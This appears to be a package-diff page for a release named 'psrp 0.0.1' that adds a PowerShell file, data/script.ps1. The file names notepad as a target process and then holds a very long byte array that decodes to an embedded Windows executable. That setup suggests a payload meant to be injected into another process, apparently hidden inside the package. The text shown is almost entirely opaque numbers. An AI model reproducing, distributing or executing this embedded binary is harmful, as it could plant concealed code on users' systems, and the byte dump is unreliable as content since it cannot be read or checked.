psrp 0.0.1

Sign up to get free protection for your applications and to get access to all the features.
data/script.ps1 ADDED
@@ -0,0 +1,2945 @@
1
+ $ProcName = notepad
2
+ $PEBytes = @(77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,248,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36,0,0,0,0,0,0,0,192,174,78,154,132,207,32,201,132,207,32,201,132,207,32,201,23,129,184,201,133,207,32,201,159,82,138,201,142,207,32,201,159,82,188,201,129,207,32,201,141,183,179,201,134,207,32,201,132,207,33,201,15,207,32,201,159,82,139,201,137,207,32,201,159,82,187,201,133,207,32,201,159,82,186,201,133,207,32,201,159,82,189,201,133,207,32,201,82,105,99,104,132,207,32,201,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,69,0,0,76,1,7,0,242,155,216,86,0,0,0,0,0,0,0,0,224,0,2,33,11,1,10,0,0,220,0,0,0,100,0,0,0,0,0,0,253,18,1,0,0,16,0,0,0,16,0,0,0,0,0,16,0,16,0,0,0,2,0,0,5,0,1,0,0,0,0,0,5,0,1,0,0,0,0,0,0,112,2,0,0,4,0,0,0,0,0,0,2,0,64,1,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,128,29,2,0,102,1,0,0,0,48,2,0,80,0,0,0,0,80,2,0,89,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,96,2,0,196,7,0,0,32,246,1,0,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,104,51,2,0,24,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,116,101,120,116,98,115,115,0,0,1,0,0,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,0,0,224,46,116,101,120,116,0,0,0,85,218,0,0,0,16,1,0,0,220,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,0,0,96,46,114,100,97,116,97,0,0,230,46,0,0,0,240,1,0,0,48,0,0,0,224,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,100,97,116,97,0,0,0,148,7,0,0,0,32,2,0,0,4,0,0,0,16,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,46,105,100,97,116,97,0,0,116,27,0,0,0,48,2,0,0,28,0,0,0,20,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,46,114,115,114,99,0,0,0,89,4,0,0,0,80,2,0,0,6,0,0,0,48,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,64,46,114,101,108,111,99,0,0,222,9,0,0,0,96,2,0,0,10,0,0,0,54,1,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,66,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,204,204,204,204,204,233,22,90,0,0,233,209,40,0,0,233,192,113,0,0,233,183,106,0,0,233,244,109,0,0,233,233,106,0,0,233,92,107,0,0,233,19,42,0,0,233,242,109,0,0,233,41,16,0,0,233,196,106,0,0,233,243,113,0,0,233,138,131,0,0,233,213,63,0,0,233,210,113,0,0,233,117,106,0,0,233,214,86,0,0,233,1,136,0,0,233,252,39,0,0,233,247,27,0,0,233,226,71,0,0,233,77,112,0,0,233,216,73,0,0,233,45,148,0,0,233,126,103,0,0,233,9,34,0,0,233,20,107,0,0,233,207,99,0,0,233,10,113,0,0,233,197,107,0,0,233,32,90,0,0,233,59,75,0,0,233,140,106,0,0,233,69,106,0,0,233,140,94,0,0,233,199,52,0,0,233,162,88,0,0,233,205,107,0,0,233,104,135,0,0,233,215,147,0,0,233,110,104,0,0,233,57,110,0,0,233,180,108,0,0,233,175,131,0,0,233,218,130,0,0,233,149,147,0,0,233,118,106,0,0,233,195,105,0,0,233,118,96,0,0,233,225,99,0,0,233,148,147,0,0,233,71,100,0,0,233,84,147,0,0,233,119,106,0,0,233,248,42,0,0,233,167,105,0,0,233,126,83,0,0,233,239,147,0,0,233,228,137,0,0,233,205,112,0,0,233,10,42,0,0,233,165,147,0,0,233,130,112,0,0,233,75,91,0,0,233,86,11,0,0,233,187,112,0,0,233,20,147,0,0,233,77,105,0,0,233,190,147,0,0,233,29,121,0,0,233,72,147,0,0,233,131,130,0,0,233,206,112,0,0,233,59,105,0,0,233,180,138,0,0,233,111,70,0,0,233,234,138,0,0,233,55,147,0,0,233,96,85,0,0,233,251,108,0,0,233,150,64,0,0,233,89,112,0,0,233,92,65,0,0,233,159,108,0,0,233,180,146,0,0,233,59,105,0,0,233,120,108,0,0,233,227,130,0,0,233,122,105,0,0,233,63,105,0,0,233,144,146,0,0,233,255,107,0,0,233,132,105,0,0,233,23,147,0,0,233,112,53,0,0,233,107,39,0,0,233,12,137,0,0,233,63,112,0,0,233,108,97,0,0,233,127,105,0,0,233,32,108,0,0,233,13,103,0,0,233,40,44,0,0,233,199,146,0,0,233,188,111,0,0,233,1,105,0,0,233,4,90,0,0,233,63,105,0,0,233,154,96,0,0,233,213,54,0,0,233,24,105,0,0,233,187,90,0,0,233,230,15,0,0,233,17,65,0,0,233,76,128,0,0,233,87,110,0,0,233,194,110,0,0,233,173,134,0,0,233,84,104,0,0,233,107,146,0,0,233,254,109,0,0,233,185,51,0,0,233,212,124,0,0,233,223,98,0,0,233,90,102,0,0,233,161,111,0,0,233,236,133,0,0,233,189,104,0,0,233,112,107,0,0,233,161,104,0,0,233,42,104,0,0,233,29,146,0,0,233,146,77,0,0,233,179,145,0,0,233,200,101,0,0,233,35,70,0,0,233,52,111,0,0,233,201,75,0,0,233,196,133,0,0,233,221,145,0,0,233,98,137,0,0,233,85,88,0,0,233,128,91,0,0,233,49,107,0,0,233,246,64,0,0,233,241,80,0,0,233,220,82,0,0,233,39,35,0,0,233,162,104,0,0,233,35,111,0,0,233,78,111,0,0,233,243,35,0,0,233,206,115,0,0,233,51,111,0,0,233,4,146,0,0,233,201,110,0,0,233,58,129,0,0,233,247,103,0,0,233,48,118,0,0,233,219,44,0,0,233,190,103,0,0,233,31,107,0,0,233,140,115,0,0,233,211,106,0,0,233,114,96,0,0,233,253,100,0,0,233,188,145,0,0,233,137,103,0,0,233,46,77,0,0,233,137,90,0,0,233,164,78,0,0,233,143,43,0,0,233,218,32,0,0,233,181,11,0,0,233,176,54,0,0,233,171,128,0,0,233,6,63,0,0,233,33,85,0,0,233,236,82,0,0,233,39,67,0,0,233,64,145,0,0,233,133,106,0,0,233,30,110,0,0,233,83,23,0,0,233,178,106,0,0,233,83,103,0,0,233,28,110,0,0,233,143,94,0,0,233,10,54,0,0,233,53,99,0,0,233,0,86,0,0,233,209,103,0,0,233,180,103,0,0,233,241,70,0,0,233,86,103,0,0,233,39,95,0,0,233,146,98,0,0,233,3,145,0,0,233,216,97,0,0,233,243,109,0,0,233,62,71,0,0,233,105,65,0,0,233,196,39,0,0,233,99,136,0,0,233,242,144,0,0,233,69,107,0,0,233,86,132,0,0,233,235,50,0,0,233,40,106,0,0,233,65,106,0,0,233,188,40,0,0,233,93,144,0,0,233,210,131,0,0,233,33,103,0,0,233,120,73,0,0,233,175,109,0,0,233,220,102,0,0,233,153,36,0,0,233,112,109,0,0,233,173,144,0,0,233,186,63,0,0,233,49,144,0,0,233,176,109,0,0,233,75,90,0,0,233,230,9,0,0,233,223,102,0,0,233,252,72,0,0,233,87,38,0,0,233,134,109,0,0,233,141,8,0,0,233,24,72,0,0,233,243,135,0,0,233,80,102,0,0,233,41,62,0,0,233,188,109,0,0,233,47,69,0,0,233,218,38,0,0,233,201,143,0,0,233,230,127,0,0,233,55,144,0,0,233,38,131,0,0,233,161,104,0,0,233,220,132,0,0,233,239,107,0,0,233,60,144,0,0,233,253,92,0,0,233,8,48,0,0,233,37,134,0,0,233,30,105,0,0,233,249,10,0,0,233,102,109,0,0,233,191,12,0,0,233,230,101,0,0,233,119,131,0,0,233,146,143,0,0,233,235,79,0,0,233,208,143,0,0,233,225,34,0,0,233,92,77,0,0,233,215,36,0,0,233,10,109,0,0,233,189,107,0,0,233,70,143,0,0,233,115,51,0,0,233,240,143,0,0,233,5,105,0,0,233,182,108,0,0,233,43,102,0,0,233,154,129,0,0,233,149,73,0,0,233,108,143,0,0,233,91,117,0,0,233,24,102,0,0,233,237,108,0,0,233,92,76,0,0,233,23,123,0,0,233,162,109,0,0,233,45,6,0,0,233,168,65,0,0,233,167,101,0,0,233,180,104,0,0,233,41,19,0,0,233,68,82,0,0,233,15,36,0,0,233,200,108,0,0,233,207,134,0,0,233,208,81,0,0,233,131,143,0,0,233,86,128,0,0,233,77,133,0,0,233,140,11,0,0,233,113,104,0,0,233,194,126,0,0,233,183,142,0,0,233,156,108,0,0,233,147,34,0,0,233,142,62,0,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,112,1,0,0,83,86,87,141,189,144,254,255,255,185,92,0,0,0,184,204,204,204,204,243,171,106,1,141,141,84,255,255,255,232,179,248,255,255,139,244,104,160,246,1,16,255,21,36,54,2,16,131,196,4,59,244,232,56,248,255,255,106,64,106,2,104,108,246,1,16,141,141,84,255,255,255,232,112,247,255,255,104,60,246,1,16,141,133,84,255,255,255,80,232,100,247,255,255,131,196,8,141,141,84,255,255,255,232,205,248,255,255,141,141,84,255,255,255,232,37,245,255,255,82,139,205,80,141,21,72,28,1,16,232,97,245,255,255,88,90,95,94,91,129,196,112,1,0,0,59,236,232,217,247,255,255,139,229,93,195,141,73,0,1,0,0,0,80,28,1,16,84,255,255,255,168,0,0,0,92,28,1,16,109,121,102,105,108,101,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,131,193,96,232,151,247,255,255,139,77,248,131,193,96,139,244,255,21,188,52,2,16,59,244,232,55,247,255,255,95,94,91,129,196,204,0,0,0,59,236,232,39,247,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,97,179,1,16,100,161,0,0,0,0,80,129,236,216,0,0,0,83,86,87,81,141,189,28,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,199,133,32,255,255,255,0,0,0,0,131,125,8,0,116,52,139,69,236,199,0,200,246,1,16,139,77,236,131,193,96,139,244,255,21,240,52,2,16,59,244,232,154,246,255,255,199,69,252,0,0,0,0,139,133,32,255,255,255,131,200,1,137,133,32,255,255,255,139,244,106,0,106,0,139,69,236,131,192,4,80,139,77,236,255,21,244,52,2,16,59,244,232,103,246,255,255,199,69,252,1,0,0,0,139,69,236,139,8,139,81,4,139,69,236,199,4,16,192,246,1,16,106,0,139,77,236,131,193,4,232,58,243,255,255,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,228,0,0,0,59,236,232,28,246,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,181,179,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,69,236,139,72,160,139,81,4,139,69,236,199,68,16,160,192,246,1,16,199,69,252,0,0,0,0,139,77,236,131,233,92,232,122,241,255,255,199,69,252,255,255,255,255,139,77,236,131,233,88,139,244,255,21,248,52,2,16,59,244,232,70,245,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,43,245,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,16,80,139,77,12,131,201,2,81,139,85,8,82,139,77,248,131,193,4,232,194,244,255,255,133,192,117,34,139,244,106,0,106,2,139,69,248,139,8,139,85,248,3,81,4,139,202,255,21,232,52,2,16,59,244,232,153,244,255,255,235,32,139,244,106,0,106,0,139,69,248,139,8,139,85,248,3,81,4,139,202,255,21,236,52,2,16,59,244,232,119,244,255,255,95,94,91,129,196,204,0,0,0,59,236,232,103,244,255,255,139,229,93,194,12,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,131,193,4,232,245,241,255,255,133,192,117,32,139,244,106,0,106,2,139,69,248,139,8,139,85,248,3,81,4,139,202,255,21,232,52,2,16,59,244,232,232,243,255,255,95,94,91,129,196,204,0,0,0,59,236,232,216,243,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,242,179,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,69,236,199,0,220,246,1,16,199,69,252,0,0,0,0,139,69,236,131,120,84,0,116,8,139,77,236,232,241,239,255,255,139,69,236,15,182,72,80,133,201,116,8,139,77,236,232,45,241,255,255,199,69,252,255,255,255,255,139,244,139,77,236,255,21,228,52,2,16,59,244,232,43,243,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,16,243,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,120,84,0,116,25,139,244,139,69,248,139,72,84,81,255,21,28,54,2,16,131,196,4,59,244,232,149,242,255,255,95,94,91,129,196,204,0,0,0,59,236,232,133,242,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,120,84,0,116,25,139,244,139,69,248,139,72,84,81,255,21,24,54,2,16,131,196,4,59,244,232,37,242,255,255,95,94,91,129,196,204,0,0,0,59,236,232,21,242,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,107,180,1,16,100,161,0,0,0,0,80,129,236,4,2,0,0,83,86,87,81,141,189,240,253,255,255,185,129,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,137,69,240,80,141,69,244,100,163,0,0,0,0,137,77,232,199,133,184,254,255,255,0,0,0,0,232,97,240,255,255,137,133,8,254,255,255,141,69,8,80,141,141,8,254,255,255,81,232,21,239,255,255,131,196,8,15,182,208,133,210,116,19,141,69,8,80,232,157,239,255,255,131,196,4,233,40,4,0,0,235,127,139,244,139,77,232,255,21,200,52,2,16,59,244,232,97,241,255,255,133,192,116,86,139,244,139,77,232,255,21,200,52,2,16,59,244,232,75,241,255,255,139,240,139,252,139,77,232,255,21,204,52,2,16,59,252,232,55,241,255,255,59,240,115,44,141,69,8,80,232,133,240,255,255,131,196,4,138,216,139,244,139,77,232,255,21,208,52,2,16,59,244,232,19,241,255,255,136,24,139,69,8,233,188,3,0,0,235,19,139,69,232,131,120,84,0,117,10,232,180,239,255,255,233,167,3,0,0,139,77,232,232,134,237,255,255,139,69,232,131,120,68,0,117,76,139,69,232,139,72,84,81,141,85,8,82,232,46,240,255,255,131,196,4,15,182,192,80,232,32,237,255,255,131,196,8,15,182,200,133,201,116,11,139,85,8,137,149,0,254,255,255,235,11,232,104,239,255,255,137,133,0,254,255,255,139,133,0,254,255,255,233,79,3,0,0,233,74,3,0,0,199,69,220,8,0,0,0,141,69,8,80,232,226,239,255,255,131,196,4,136,69,211,106,0,106,8,141,77,144,232,222,240,255,255,199,69,252,0,0,0,0,139,244,141,69,184,80,141,141,32,254,255,255,81,141,77,144,232,103,236,255,255,137,133,0,254,255,255,139,149,0,254,255,255,137,149,252,253,255,255,198,69,252,1,139,141,252,253,255,255,232,46,240,255,255,139,248,141,77,144,232,131,240,255,255,3,248,87,141,133,52,254,255,255,80,141,77,144,232,42,236,255,255,137,133,248,253,255,255,139,141,248,253,255,255,137,141,244,253,255,255,198,69,252,2,139,141,244,253,255,255,232,241,239,255,255,80,141,85,196,82,141,69,212,80,141,77,211,81,139,85,232,131,194,76,82,139,69,232,139,72,68,255,21,212,52,2,16,59,244,232,212,239,255,255,137,133,20,254,255,255,198,69,252,1,141,141,52,254,255,255,232,133,237,255,255,198,69,252,0,141,141,32,254,255,255,232,118,237,255,255,139,141,20,254,255,255,137,141,240,253,255,255,131,189,240,253,255,255,0,15,140,20,2,0,0,131,189,240,253,255,255,1,126,18,131,189,240,253,255,255,3,15,132,170,1,0,0,233,249,1,0,0,141,133,72,254,255,255,80,141,77,144,232,123,235,255,255,137,133,0,254,255,255,139,141,0,254,255,255,137,141,252,253,255,255,198,69,252,3,139,141,252,253,255,255,232,66,239,255,255,139,85,184,43,208,137,85,132,198,69,252,0,141,141,72,254,255,255,232,251,236,255,255,131,125,132,0,118,112,139,244,139,69,232,139,72,84,81,139,85,132,82,106,1,141,133,104,254,255,255,80,141,77,144,232,31,235,255,255,137,133,0,254,255,255,139,141,0,254,255,255,137,141,252,253,255,255,198,69,252,4,139,149,184,254,255,255,131,202,1,137,149,184,254,255,255,139,141,252,253,255,255,232,215,238,255,255,80,255,21,20,54,2,16,131,196,16,59,244,232,208,238,255,255,57,69,132,116,12,199,133,248,253,255,255,1,0,0,0,235,10,199,133,248,253,255,255,0,0,0,0,138,133,248,253,255,255,136,133,95,254,255,255,199,69,252,0,0,0,0,139,141,184,254,255,255,131,225,1,116,18,131,165,184,254,255,255,254,141,141,104,254,255,255,232,75,236,255,255,15,182,149,95,254,255,255,133,210,116,37,232,48,237,255,255,137,133,124,254,255,255,199,69,252,255,255,255,255,141,77,144,232,51,238,255,255,139,133,124,254,255,255,233,8,1,0,0,139,69,232,198,64,73,1,139,69,196,141,77,211,59,193,116,35,139,69,8,137,133,136,254,255,255,199,69,252,255,255,255,255,141,77,144,232,255,237,255,255,139,133,136,254,255,255,233,212,0,0,0,131,125,132,0,118,2,235,64,141,77,144,232,102,238,255,255,131,248,32,115,14,106,0,106,8,141,77,144,232,230,238,255,255,235,37,232,180,236,255,255,137,133,148,254,255,255,199,69,252,255,255,255,255,141,77,144,232,183,237,255,255,139,133,148,254,255,255,233,140,0,0,0,235,118,139,69,232,139,72,84,81,15,182,85,211,82,232,31,234,255,255,131,196,8,15,182,192,133,192,116,11,139,77,8,137,141,0,254,255,255,235,11,232,103,236,255,255,137,133,0,254,255,255,139,149,0,254,255,255,137,149,160,254,255,255,199,69,252,255,255,255,255,141,77,144,232,94,237,255,255,139,133,160,254,255,255,235,54,232,57,236,255,255,137,133,172,254,255,255,199,69,252,255,255,255,255,141,77,144,232,60,237,255,255,139,133,172,254,255,255,235,20,233,238,252,255,255,199,69,252,255,255,255,255,141,77,144,232,32,237,255,255,82,139,205,80,141,21,12,39,1,16,232,180,234,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,139,77,240,51,205,232,120,233,255,255,129,196,16,2,0,0,59,236,232,23,237,255,255,139,229,93,194,4,0,141,73,0,4,0,0,0,20,39,1,16,211,255,255,255,1,0,0,0,84,39,1,16,196,255,255,255,4,0,0,0,79,39,1,16,184,255,255,255,4,0,0,0,73,39,1,16,144,255,255,255,32,0,0,0,68,39,1,16,95,83,116,114,0,95,68,101,115,116,0,95,83,114,99,0,95,67,104,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,252,0,0,0,83,86,87,81,141,189,4,255,255,255,185,63,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,244,139,77,248,255,21,184,52,2,16,59,244,232,53,235,255,255,133,192,15,132,185,0,0,0,139,244,139,77,248,255,21,192,52,2,16,59,244,232,27,235,255,255,139,240,139,252,139,77,248,255,21,184,52,2,16,59,252,232,7,235,255,255,59,240,15,131,139,0,0,0,232,181,233,255,